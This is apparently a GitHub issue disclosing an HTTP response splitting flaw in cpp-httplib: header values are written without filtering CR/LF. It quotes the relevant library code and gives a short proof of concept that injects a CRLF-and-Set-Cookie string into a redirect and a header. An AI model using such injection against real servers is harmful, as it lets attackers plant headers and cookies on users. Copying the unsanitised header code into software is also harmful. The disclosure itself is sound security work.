-
Notifications
You must be signed in to change notification settings - Fork 2.5k
Closed
Labels
Description
ref: https://owasp.org/www-community/attacks/HTTP_Response_Splitting
Analysis
// L2766
inline void Response::set_header(const char *key, const char *val) {
headers.emplace(key, val);
}
inline void Response::set_header(const char *key, const std::string &val) {
headers.emplace(key, val);
}
inline void Response::set_redirect(const char *url) {
set_header("Location", url);
status = 302;
}
...
// L3090
inline bool Server::write_response(Stream &strm, bool last_connection,
const Request &req, Response &res) {
...
if (!detail::write_headers(bstrm, res, Headers())) { return false; }
...
// L1967
template <typename T>
inline ssize_t write_headers(Stream &strm, const T &info,
const Headers &headers) {
ssize_t write_len = 0;
for (const auto &x : info.headers) {
...
// write_format never replaces/parses \r\n in x.first.c_str() or x.second.c_str()
strm.write_format("%s: %s\r\n", x.first.c_str(), x.second.c_str());
...
}
for (const auto &x : headers) {
...
// write_format never replaces/parses \r\n in x.first.c_str() or x.second.c_str()
strm.write_format("%s: %s\r\n", x.first.c_str(), x.second.c_str());
...
}
PoC
#include "cpp-httplib/httplib.h"
using namespace httplib;
int main() {
Server svr;
svr.Get("/1", [](const Request& req, Response& res) {
res.set_redirect("1\r\nSet-Cookie: a=1");
});
svr.Get("/2", [](const Request& req, Response& res) {
res.set_header("a", "1\r\nSet-Cookie: a=1");
});
svr.listen("localhost", 3000);
}
Lastly, this library is gorgeous. Thank you!!